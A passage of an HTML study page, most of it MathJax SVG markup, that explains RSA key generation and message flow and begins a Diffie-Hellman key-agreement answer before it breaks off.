126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path><path stroke-width="0" id="E73-MJMAIN-2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path><path stroke-width="0" id="E73-MJMATHI-71" d="M33 157Q33 258 109 349T280 441Q340 441 372 389Q373 390 377 395T388 406T404 418Q438 442 450 442Q454 442 457 439T460 434Q460 425 391 149Q320 -135 320 -139Q320 -147 365 -148H390Q396 -156 396 -157T393 -175Q389 -188 383 -194H370Q339 -192 262 -192Q234 -192 211 -192T174 -192T157 -193Q143 -193 143 -185Q143 -182 145 -170Q149 -154 152 -151T172 -148Q220 -148 230 -141Q238 -136 258 -53T279 32Q279 33 272 29Q224 -10 172 -10Q117 -10 75 30T33 157ZM352 326Q329 405 277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q233 26 290 98L298 109L352 326Z"></path><path stroke-width="0" id="E73-MJMAIN-7C" d="M139 -249H137Q125 -249 119 -235V251L120 737Q130 750 139 750Q152 750 159 735V-235Q151 -249 141 -249H139Z"></path><path stroke-width="0" id="E73-MJMAIN-2260" d="M166 -215T159 -215T147 -212T141 -204T139 -197Q139 -190 144 -183L306 133H70Q56 140 56 153Q56 168 72 173H327L406 327H72Q56 332 56 347Q56 360 70 367H426Q597 702 602 707Q605 716 618 716Q625 716 630 712T636 703T638 696Q638 692 471 367H707Q722 359 722 347Q722 336 708 328L451 327L371 173H708Q722 163 722 153Q722 140 707 133H351Q175 -210 170 -212Q166 -215 159 -215Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E73-MJMATHI-70" x="0" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E73-MJMAIN-2C" x="503" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E73-MJMATHI-71" x="947" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E73-MJMAIN-7C" x="1407" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E73-MJMATHI-70" x="1685" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E73-MJMAIN-2260" x="2466" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E73-MJMATHI-71" x="3522" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-73">p,q | p\ne q</script></li><li>Define <strong>modulus</strong> <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-74-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="9.074ex" height="2.45ex" viewBox="0 -776.4 3907 1055" role="img" focusable="false" style="vertical-align: -0.647ex;"><defs><path stroke-width="0" id="E74-MJMATHI-4E" d="M234 637Q231 637 226 637Q201 637 196 638T191 649Q191 676 202 682Q204 683 299 683Q376 683 387 683T401 677Q612 181 616 168L670 381Q723 592 723 606Q723 633 659 637Q635 637 635 648Q635 650 637 660Q641 676 643 679T653 683Q656 683 684 682T767 680Q817 680 843 681T873 682Q888 682 888 672Q888 650 880 642Q878 637 858 637Q787 633 769 597L620 7Q618 0 599 0Q585 0 582 2Q579 5 453 305L326 604L261 344Q196 88 196 79Q201 46 268 46H278Q284 41 284 38T282 19Q278 6 272 0H259Q228 2 151 2Q123 2 100 2T63 2T46 1Q31 1 31 10Q31 14 34 26T39 40Q41 46 62 46Q130 49 150 85Q154 91 221 362L289 634Q287 635 234 637Z"></path><path stroke-width="0" id="E74-MJMAIN-3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 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440T387 434T406 426T421 417T432 406T441 395T448 384T452 374T455 366L457 361L460 365Q463 369 466 373T475 384T488 397T503 410T523 422T546 432T572 439T603 442Q729 442 740 329Q741 322 741 190V104Q741 66 743 59T754 49Q775 46 803 46H819V0H811L788 1Q764 2 737 2T699 3Q596 3 587 0H579V46H595Q656 46 656 62Q657 64 657 200Q656 335 655 343Q649 371 635 385T611 402T585 404Q540 404 506 370Q479 343 472 315T464 232V168V108Q464 78 465 68T468 55T477 49Q498 46 526 46H542V0H534L510 1Q487 2 460 2T422 3Q319 3 310 0H302V46H318Q379 46 379 62Q380 64 380 200Q379 335 378 343Q372 371 358 385T334 402T308 404Q263 404 229 370Q202 343 195 315T187 232V168V108Q187 78 188 68T191 55T200 49Q221 46 249 46H265V0H257L234 1Q210 2 183 2T145 3Q42 3 33 0H25V46H41Z"></path><path stroke-width="0" id="E77-MJMAIN-6F" d="M28 214Q28 309 93 378T250 448Q340 448 405 380T471 215Q471 120 407 55T250 -10Q153 -10 91 57T28 214ZM250 30Q372 30 372 193V225V250Q372 272 371 288T364 326T348 362T317 390T268 410Q263 411 252 411Q222 411 195 399Q152 377 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xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E77-MJMATHI-64" x="1188" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E77-MJMAIN-3D" x="1989" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E77-MJMAIN-31" x="3045" y="0"></use><g transform="translate(4378,0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E77-MJMAIN-6D"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E77-MJMAIN-6F" x="833" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E77-MJMAIN-64" x="1333" y="0"></use></g><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E77-MJMAIN-28" x="6600" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E77-MJMAIN-28" x="6989" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E77-MJMATHI-70" x="7378" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E77-MJMAIN-2212" x="8103" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E77-MJMAIN-31" x="9104" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E77-MJMAIN-29" x="9604" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E77-MJMAIN-28" x="9993" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E77-MJMATHI-71" x="10382" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E77-MJMAIN-2212" x="11064" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E77-MJMAIN-31" x="12064" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E77-MJMAIN-29" x="12564" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E77-MJMAIN-29" x="12953" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-77">e\cdot d=1\mod((p-1)(q-1))</script> </li><li><strong>Public key:</strong> <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-78-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="5.985ex" height="2.707ex" viewBox="0 -831.8 2576.7 1165.7" role="img" focusable="false" style="vertical-align: -0.776ex;"><defs><path stroke-width="0" id="E78-MJMAIN-28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path><path stroke-width="0" id="E78-MJMATHI-4E" d="M234 637Q231 637 226 637Q201 637 196 638T191 649Q191 676 202 682Q204 683 299 683Q376 683 387 683T401 677Q612 181 616 168L670 381Q723 592 723 606Q723 633 659 637Q635 637 635 648Q635 650 637 660Q641 676 643 679T653 683Q656 683 684 682T767 680Q817 680 843 681T873 682Q888 682 888 672Q888 650 880 642Q878 637 858 637Q787 633 769 597L620 7Q618 0 599 0Q585 0 582 2Q579 5 453 305L326 604L261 344Q196 88 196 79Q201 46 268 46H278Q284 41 284 38T282 19Q278 6 272 0H259Q228 2 151 2Q123 2 100 2T63 2T46 1Q31 1 31 10Q31 14 34 26T39 40Q41 46 62 46Q130 49 150 85Q154 91 221 362L289 634Q287 635 234 637Z"></path><path stroke-width="0" id="E78-MJMAIN-2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path><path stroke-width="0" id="E78-MJMATHI-65" d="M39 168Q39 225 58 272T107 350T174 402T244 433T307 442H310Q355 442 388 420T421 355Q421 265 310 237Q261 224 176 223Q139 223 138 221Q138 219 132 186T125 128Q125 81 146 54T209 26T302 45T394 111Q403 121 406 121Q410 121 419 112T429 98T420 82T390 55T344 24T281 -1T205 -11Q126 -11 83 42T39 168ZM373 353Q367 405 305 405Q272 405 244 391T199 357T170 316T154 280T149 261Q149 260 169 260Q282 260 327 284T373 353Z"></path><path stroke-width="0" id="E78-MJMAIN-29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E78-MJMAIN-28" x="0" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E78-MJMATHI-4E" x="389" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E78-MJMAIN-2C" x="1277" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E78-MJMATHI-65" x="1721" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E78-MJMAIN-29" x="2187" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-78">(N,e)</script></li><li><strong>Private key:</strong> <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-79-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="3.022ex" height="2.707ex" viewBox="0 -831.8 1301 1165.7" role="img" focusable="false" style="vertical-align: -0.776ex;"><defs><path stroke-width="0" id="E79-MJMAIN-28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path><path stroke-width="0" id="E79-MJMATHI-64" d="M366 683Q367 683 438 688T511 694Q523 694 523 686Q523 679 450 384T375 83T374 68Q374 26 402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487H491Q506 153 506 145Q506 140 503 129Q490 79 473 48T445 8T417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157Q33 205 53 255T101 341Q148 398 195 420T280 442Q336 442 364 400Q369 394 369 396Q370 400 396 505T424 616Q424 629 417 632T378 637H357Q351 643 351 645T353 664Q358 683 366 683ZM352 326Q329 405 277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q233 26 290 98L298 109L352 326Z"></path><path stroke-width="0" id="E79-MJMAIN-29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E79-MJMAIN-28" x="0" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E79-MJMATHI-64" x="389" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E79-MJMAIN-29" x="912" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-79">(d)</script></li></ol><p>It's flow is:</p><ul><li><strong>A</strong> wants to send a message to <strong>B</strong></li><li><strong>B</strong> sends his/her <strong>public key</strong> to <strong>A</strong></li><li><strong>A</strong> write a message and encrypt the message with <strong>B</strong> <strong>public key.</strong></li><li><strong>A</strong> sends the encrypted message to <strong>B</strong>.</li><li><strong>B</strong> decrypt the message with his/her <strong>private key.</strong></li></ul><p><em>If B wants to respond, repeat all this but switch A with B.</em></p></blockquote></li><li><p>Explain the Diffie-Hellman technique, describe its flow and a possible attack</p><blockquote><p>The DH is a Technique that:</p><ul><li>is mainly used as a <strong>key agreement protocol</strong>;</li><li>it uses the <strong>Discrete Logarithm Problem</strong>, with <strong>One Way Function</strong>;</li><li>Exponentiation to encrypt, log to decrypt.</li></ul><p>Key Generation:</p><ul><li><p>It uses <strong>Exponentiation</strong> as a one way function;</p></li><li><p><strong>Discrete Logarithm Problem</strong> uses:</p><ul><li><span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-80-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="1.259ex" height="1.936ex" viewBox="-39 -555.2 542 833.8" role="img" focusable="false" style="vertical-align: -0.647ex; margin-left: -0.091ex;"><defs><path stroke-width="0" id="E80-MJMATHI-70" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E80-MJMATHI-70" x="0" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-80">p</script> prime number, higher is better;</li><li><span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-81-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="1.115ex" height="1.808ex" viewBox="0 -499.9 480 778.4" role="img" focusable="false" style="vertical-align: -0.647ex;"><defs><path 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tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="10.503ex" height="2.45ex" viewBox="0 -776.4 4522.1 1055" role="img" focusable="false" style="vertical-align: -0.647ex;"><defs><path stroke-width="0" id="E84-MJMAIN-30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z"></path><path stroke-width="0" id="E84-MJMAIN-3C" d="M694 -11T694 -19T688 -33T678 -40Q671 -40 524 29T234 166L90 235Q83 240 83 250Q83 261 91 266Q664 540 678 540Q681 540 687 534T694 519T687 505Q686 504 417 376L151 250L417 124Q686 -4 687 -5Q694 -11 694 -19Z"></path><path stroke-width="0" id="E84-MJMATHI-58" d="M42 0H40Q26 0 26 11Q26 15 29 27Q33 41 36 43T55 46Q141 49 190 98Q200 108 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442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E84-MJMAIN-30" x="0" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E84-MJMAIN-3C" x="777" y="0"></use><use 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357Q619 348 660 311T702 219Q702 146 630 78T453 1Q446 0 242 0Q42 0 39 2Q35 5 35 10Q35 17 37 24Q42 43 47 45Q51 46 62 46H68Q95 46 128 49Q142 52 147 61Q150 65 219 339T288 628Q288 635 231 637ZM649 544Q649 574 634 600T585 634Q578 636 493 637Q473 637 451 637T416 636H403Q388 635 384 626Q382 622 352 506Q352 503 351 500L320 374H401Q482 374 494 376Q554 386 601 434T649 544ZM595 229Q595 273 572 302T512 336Q506 337 429 337Q311 337 310 336Q310 334 293 263T258 122L240 52Q240 48 252 48T333 46Q422 46 429 47Q491 54 543 105T595 229Z"></path><path stroke-width="0" id="E87-MJMAIN-3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path><path stroke-width="0" id="E87-MJMATHI-67" d="M311 43Q296 30 267 15T206 0Q143 0 105 45T66 160Q66 265 143 353T314 442Q361 442 401 394L404 398Q406 401 409 404T418 412T431 419T447 422Q461 422 470 413T480 394Q480 379 423 152T363 -80Q345 -134 286 -169T151 -205Q10 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91T102 122T103 161T103 203Q103 234 103 269T102 328V351Q99 370 88 376T43 385H25V408Q25 431 27 431L37 432Q47 433 65 434T102 436Q119 437 138 438T167 441T178 442H181V402Q181 364 182 364T187 369T199 384T218 402T247 421T285 437Q305 442 336 442Q351 442 364 440T387 434T406 426T421 417T432 406T441 395T448 384T452 374T455 366L457 361L460 365Q463 369 466 373T475 384T488 397T503 410T523 422T546 432T572 439T603 442Q729 442 740 329Q741 322 741 190V104Q741 66 743 59T754 49Q775 46 803 46H819V0H811L788 1Q764 2 737 2T699 3Q596 3 587 0H579V46H595Q656 46 656 62Q657 64 657 200Q656 335 655 343Q649 371 635 385T611 402T585 404Q540 404 506 370Q479 343 472 315T464 232V168V108Q464 78 465 68T468 55T477 49Q498 46 526 46H542V0H534L510 1Q487 2 460 2T422 3Q319 3 310 0H302V46H318Q379 46 379 62Q380 64 380 200Q379 335 378 343Q372 371 358 385T334 402T308 404Q263 404 229 370Q202 343 195 315T187 232V168V108Q187 78 188 68T191 55T200 49Q221 46 249 46H265V0H257L234 1Q210 2 183 2T145 3Q42 3 33 0H25V46H41Z"></path><path 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-10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E87-MJMATHI-42" x="0" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E87-MJMAIN-3D" x="1036" y="0"></use><g transform="translate(2092,0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E87-MJMATHI-67" x="0" y="0"></use><use transform="scale(0.707)" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E87-MJMATHI-62" x="680" y="513"></use></g><g transform="translate(3810,0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E87-MJMAIN-6D"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E87-MJMAIN-6F" x="833" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E87-MJMAIN-64" x="1333" y="0"></use></g><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E87-MJMATHI-70" x="6199" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-87">B=g^b\mod p</script>, where <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-88-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="0.996ex" height="2.065ex" viewBox="0 -776.4 429 889.1" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E88-MJMATHI-62" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E88-MJMATHI-62" x="0" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-88">b</script> is a secret number known only to server.</li><li>Client compute <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-89-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="21.591ex" height="2.45ex" viewBox="0 -776.4 9295.9 1055" role="img" focusable="false" style="vertical-align: -0.647ex;"><defs><path stroke-width="0" id="E89-MJMAIN-53" d="M55 507Q55 590 112 647T243 704H257Q342 704 405 641L426 672Q431 679 436 687T446 700L449 704Q450 704 453 704T459 705H463Q466 705 472 699V462L466 456H448Q437 456 435 459T430 479Q413 605 329 646Q292 662 254 662Q201 662 168 626T135 542Q135 508 152 480T200 435Q210 431 286 412T370 389Q427 367 463 314T500 191Q500 110 448 45T301 -21Q245 -21 201 -4T140 27L122 41Q118 36 107 21T87 -7T78 -21Q76 -22 68 -22H64Q61 -22 55 -16V101Q55 220 56 222Q58 227 76 227H89Q95 221 95 214Q95 182 105 151T139 90T205 42T305 24Q352 24 386 62T420 155Q420 198 398 233T340 281Q284 295 266 300Q261 301 239 306T206 314T174 325T141 343T112 367T85 402Q55 451 55 507Z"></path><path stroke-width="0" id="E89-MJMAIN-68" d="M41 46H55Q94 46 102 60V68Q102 77 102 91T102 124T102 167T103 217T103 272T103 329Q103 366 103 407T103 482T102 542T102 586T102 603Q99 622 88 628T43 637H25V660Q25 683 27 683L37 684Q47 685 66 686T103 688Q120 689 140 690T170 693T181 694H184V367Q244 442 328 442Q451 442 463 329Q464 322 464 190V104Q464 66 466 59T477 49Q498 46 526 46H542V0H534L510 1Q487 2 460 2T422 3Q319 3 310 0H302V46H318Q379 46 379 62Q380 64 380 200Q379 335 378 343Q372 371 358 385T334 402T308 404Q263 404 229 370Q202 343 195 315T187 232V168V108Q187 78 188 68T191 55T200 49Q221 46 249 46H265V0H257L234 1Q210 2 183 2T145 3Q42 3 33 0H25V46H41Z"></path><path stroke-width="0" id="E89-MJMAIN-61" d="M137 305T115 305T78 320T63 359Q63 394 97 421T218 448Q291 448 336 416T396 340Q401 326 401 309T402 194V124Q402 76 407 58T428 40Q443 40 448 56T453 109V145H493V106Q492 66 490 59Q481 29 455 12T400 -6T353 12T329 54V58L327 55Q325 52 322 49T314 40T302 29T287 17T269 6T247 -2T221 -8T190 -11Q130 -11 82 20T34 107Q34 128 41 147T68 188T116 225T194 253T304 268H318V290Q318 324 312 340Q290 411 215 411Q197 411 181 410T156 406T148 403Q170 388 170 359Q170 334 154 320ZM126 106Q126 75 150 51T209 26Q247 26 276 49T315 109Q317 116 318 175Q318 233 317 233Q309 233 296 232T251 223T193 203T147 166T126 106Z"></path><path stroke-width="0" id="E89-MJMAIN-72" d="M36 46H50Q89 46 97 60V68Q97 77 97 91T98 122T98 161T98 203Q98 234 98 269T98 328L97 351Q94 370 83 376T38 385H20V408Q20 431 22 431L32 432Q42 433 60 434T96 436Q112 437 131 438T160 441T171 442H174V373Q213 441 271 441H277Q322 441 343 419T364 373Q364 352 351 337T313 322Q288 322 276 338T263 372Q263 381 265 388T270 400T273 405Q271 407 250 401Q234 393 226 386Q179 341 179 207V154Q179 141 179 127T179 101T180 81T180 66V61Q181 59 183 57T188 54T193 51T200 49T207 48T216 47T225 47T235 46T245 46H276V0H267Q249 3 140 3Q37 3 28 0H20V46H36Z"></path><path stroke-width="0" id="E89-MJMAIN-65" d="M28 218Q28 273 48 318T98 391T163 433T229 448Q282 448 320 430T378 380T406 316T415 245Q415 238 408 231H126V216Q126 68 226 36Q246 30 270 30Q312 30 342 62Q359 79 369 104L379 128Q382 131 395 131H398Q415 131 415 121Q415 117 412 108Q393 53 349 21T250 -11Q155 -11 92 58T28 218ZM333 275Q322 403 238 411H236Q228 411 220 410T195 402T166 381T143 340T127 274V267H333V275Z"></path><path stroke-width="0" id="E89-MJMAIN-64" d="M376 495Q376 511 376 535T377 568Q377 613 367 624T316 637H298V660Q298 683 300 683L310 684Q320 685 339 686T376 688Q393 689 413 690T443 693T454 694H457V390Q457 84 458 81Q461 61 472 55T517 46H535V0Q533 0 459 -5T380 -11H373V44L365 37Q307 -11 235 -11Q158 -11 96 50T34 215Q34 315 97 378T244 442Q319 442 376 393V495ZM373 342Q328 405 260 405Q211 405 173 369Q146 341 139 305T131 211Q131 155 138 120T173 59Q203 26 251 26Q322 26 373 103V342Z"></path><path stroke-width="0" id="E89-MJMAIN-3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path><path stroke-width="0" id="E89-MJMATHI-42" d="M231 637Q204 637 199 638T194 649Q194 676 205 682Q206 683 335 683Q594 683 608 681Q671 671 713 636T756 544Q756 480 698 429T565 360L555 357Q619 348 660 311T702 219Q702 146 630 78T453 1Q446 0 242 0Q42 0 39 2Q35 5 35 10Q35 17 37 24Q42 43 47 45Q51 46 62 46H68Q95 46 128 49Q142 52 147 61Q150 65 219 339T288 628Q288 635 231 637ZM649 544Q649 574 634 600T585 634Q578 636 493 637Q473 637 451 637T416 636H403Q388 635 384 626Q382 622 352 506Q352 503 351 500L320 374H401Q482 374 494 376Q554 386 601 434T649 544ZM595 229Q595 273 572 302T512 336Q506 337 429 337Q311 337 310 336Q310 334 293 263T258 122L240 52Q240 48 252 48T333 46Q422 46 429 47Q491 54 543 105T595 229Z"></path><path stroke-width="0" id="E89-MJMATHI-61" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 